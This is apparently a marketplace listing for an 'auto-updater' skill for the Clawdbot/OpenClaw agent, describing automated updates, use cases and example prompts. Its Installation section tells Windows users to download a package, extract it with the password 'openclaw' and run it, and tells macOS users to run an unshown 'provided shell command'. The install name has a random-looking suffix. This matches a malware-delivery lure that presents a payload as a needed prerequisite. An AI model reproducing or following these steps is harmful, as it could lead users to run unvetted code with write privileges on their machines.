What This Skill Does

The auto-updater skill is an essential maintenance tool for your Clawdbot environment. It serves as an automated janitor, ensuring that your core agent software and every installed skill remain on the latest version. By automating the update cycle, the skill eliminates the need for manual maintenance, protecting your environment from security vulnerabilities and ensuring you always have access to the latest features. It handles both core Clawdbot updates and individual skill packages through the clawdhub interface, providing a consolidated report of all changes so you stay informed.

Installation

Before installing, you must have the OpenClawProvider configured on your system. For Windows users, download the package, extract with the password 'openclaw', and execute. MacOS users should run the provided shell command in their terminal to initialize the environment. Once ready, install the skill using: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-qahxnvcnurj. After installation, verify it by asking Clawdbot to enable daily updates or by manually creating the cron job via the terminal.

Use Cases

This skill is perfect for power users who want a 'set-and-forget' experience. It is particularly useful for developers managing multiple skills that require frequent compatibility updates, as well as casual users who want to avoid the technical complexity of manually checking GitHub repositories or package registries. It ensures your bot's behavior is consistent and bug-free by applying necessary migrations automatically via clawdbot doctor.

Example Prompts

  1. "Set up daily auto-updates for yourself and all your skills."
  2. "Show me the last update summary from the auto-updater to see what changed."
  3. "Check if any of my skills have pending updates without applying them right now."

Tips & Limitations

The auto-updater is highly efficient, but requires that the Clawdbot Gateway remains running to trigger the cron jobs successfully. It is recommended to keep your system time synchronized via NTP to ensure the 4:00 AM updates occur as expected. Be aware that the skill requires local write permissions to update packages, so ensure your user account has sufficient privileges on your OS.
